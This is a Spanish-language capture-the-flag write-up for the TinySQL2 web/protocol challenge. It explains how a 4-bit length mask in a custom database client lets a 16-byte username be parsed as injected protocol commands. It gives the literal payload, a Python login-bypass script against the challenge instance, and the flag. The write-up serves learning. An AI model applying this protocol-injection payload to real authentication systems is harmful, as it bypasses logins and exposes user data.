Skip to main content

TinySQL2 – Batman's Kitchen CTF

Batman's Kitchen CTF

Datos del reto

Campo Valor
CTF Batman's Kitchen CTF
Reto TinySQL2
Categoría Web / Protocol
Contexto "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS"
Flag bkctf{sql_1nj3ct10n_0ver_th3_w1re}

Descripción del reto

La aplicación usa un backend "TinySQL" con prepared statements para el login. La vulnerabilidad no está en la lógica SQL sino en el protocolo binario del cliente: una máscara de longitud de 4 bits hace que valores de bind de 16 bytes se interpreten como longitud 0, dejando esos 16 bytes en el stream TCP y siendo procesados como nuevos comandos. Esto permite inyectar comandos de protocolo (re-preparar query y manipular binds) y lograr login sin contraseña.


Reconocimiento

  • Web: Flask; rutas /, /login, /forum, /forum/post/<id>.
  • Flag: En /forum/post/3, solo visible si hay sesión válida (session['username']).
  • Login: Comentario en código: "removed sql injection" y uso de conn.prepare('S:?:?', (user, pass)) — prepared statement con dos placeholders.

Arquitectura:

  • tinysql-server.py: Servidor custom en TCP (puerto 1234), protocolo binario, lee de users.tdb.
  • web_app/tinysql.py: Cliente que habla con el servidor (prepare/bind/execute).
  • web_app/app.py: Flask; login vía prepare, posts leen autor con query('S:' + str(post_id)) (por ID, sin prepared).

Conclusión: el login está "protegido" con prepared statement; el punto débil debe estar en el protocolo o en cómo se codifican longitudes.


Análisis de la vulnerabilidad

Protocolo TinySQL

Cada mensaje: 1 byte tipo + 1 byte longitud + payload (longitud bytes).

Byte tipo Comando Efecto
q query Ejecuta query directa, devuelve resultado
p prepare Guarda statement (ej. S:?:?)
b bind Añade un valor a la lista de binds
x execute Ejecuta el statement preparado con los binds
e end Cierra conexión

Flujo normal de login:

  1. p + len + "S:?:?" → prepare
  2. b + len + user → bind 1
  3. b + len + pass → bind 2
  4. x + 0 → execute → devuelve r:id:user:pass si user+pass correctos

El servidor en executeQuery() hace:

  • Si statement es S:? (1 parámetro): usa binds[0] como userId.
  • Si es S:?:? (2 parámetros): usa binds[0] y binds[1] como user y pass.

Además, en bindVariables(): si len(binds) >= 2, se hace binds.clear() antes de append. Así, el último bind que se envía antes del x es el que "cuenta" cuando hay 2 parámetros.

Máscara de longitud

En el cliente (web_app/tinysql.py):

STMT_SIZE_MASK = 0x0F

def prepare(self, stmt, binds):
    # ...
    for i in binds:
        barr.append(ord('b'))
        barr.append(len(i) & self.STMT_SIZE_MASK)  # ← solo 4 bits
        barr.extend(i.encode('ascii'))

La longitud de cada bind se trunca a 4 bits (0x0F → máx. 15).

Consecuencia:

  • Usuario de 16 caracteres16 & 0x0F == 0 → el servidor lee 0 bytes como payload del bind.
  • Los 16 bytes del username no se consumen en ese recv(length) y quedan en el buffer TCP.
  • En la siguiente iteración del loop, el servidor lee el siguiente byte como tipo de comando y el siguiente como longitud, etc.: esos 16 bytes se interpretan como nuevos comandos del protocolo.

Es decir: inyección de comandos de protocolo vía un bind de longitud 16 (o cualquier longitud que al aplicar & 0x0F dé un valor menor que la longitud real).


Explotación

Objetivo: tener sesión válida para acceder a /forum/post/3.

Estrategia:

  1. Mantener el prepare("S:?:?") inicial (no podemos evitarlo desde la web).
  2. En el primer bind (username), enviar exactamente 16 bytes que el servidor interpretará como comandos:
    • Re-preparar el statement a S:? (búsqueda por ID, sin contraseña).
    • Añadir binds de relleno para que, cuando llegue el bind "legítimo" del password, len(binds) >= 2 y se haga clear(); así el único bind que queda es el que usaremos como ID.
  3. Poner en password (segundo bind "real") el ID de un usuario existente, por ejemplo "0" (en el .tdb suele haber id 0 o el primero creado; en el reto el primer usuario es bob con id que coincide con el primer registro útil).
  4. El execute ejecutará S:? con userId = "0" (o el ID correcto) y devolverá r:id:bob:xxx → login como bob.

Payload de 16 bytes

Hay que construir 16 bytes que sean una secuencia válida de comandos:

  1. p + 0x03 + S:? (5 bytes) — Re-prepara el statement a S:? (un solo placeholder, búsqueda por ID).
  2. b + 0x03 + ABC (5 bytes) — Añade bind "ABC". Tras el primer bind "vacío" (0 bytes leídos), binds = ["", "ABC"].
  3. b + 0x01 + D (3 bytes) — len(binds) >= 2 → clear → binds = ["D"].
  4. b + 0x01 + E (3 bytes) — binds = ["D", "E"].

Total: 5 + 5 + 3 + 3 = 16 bytes.

Payload literal en Python:

username = "p\x03S:?b\x03ABCb\x01Db\x01E"  # 16 bytes
password = "0"

Exploit completo

import requests

TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"

username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"

session = requests.Session()
session.post(f"{TARGET}/login", data={"user": username, "pass": password})
flag_resp = session.get(f"{TARGET}/forum/post/3")
# Flag en el HTML

Ejecución:

python3 exploit.py

Salida esperada: login exitoso (302) y en /forum/post/3 la flag.


Flag

bkctf{sql_1nj3ct10n_0ver_th3_w1re}

Lecciones aprendidas

  • El prepared statement evita la inyección SQL clásica en la query, pero la codificación del protocolo (máscara STMT_SIZE_MASK = 0x0F) introduce desincronización entre cliente y servidor.
  • Un bind de longitud 16 hace que el servidor lea 0 bytes y trate los 16 bytes siguientes como comandos → protocol injection.
  • En protocolos binarios, longitudes truncadas o mal calculadas pueden convertir datos "normales" (p. ej. un username) en comandos interpretados, sin necesidad de romper la capa SQL.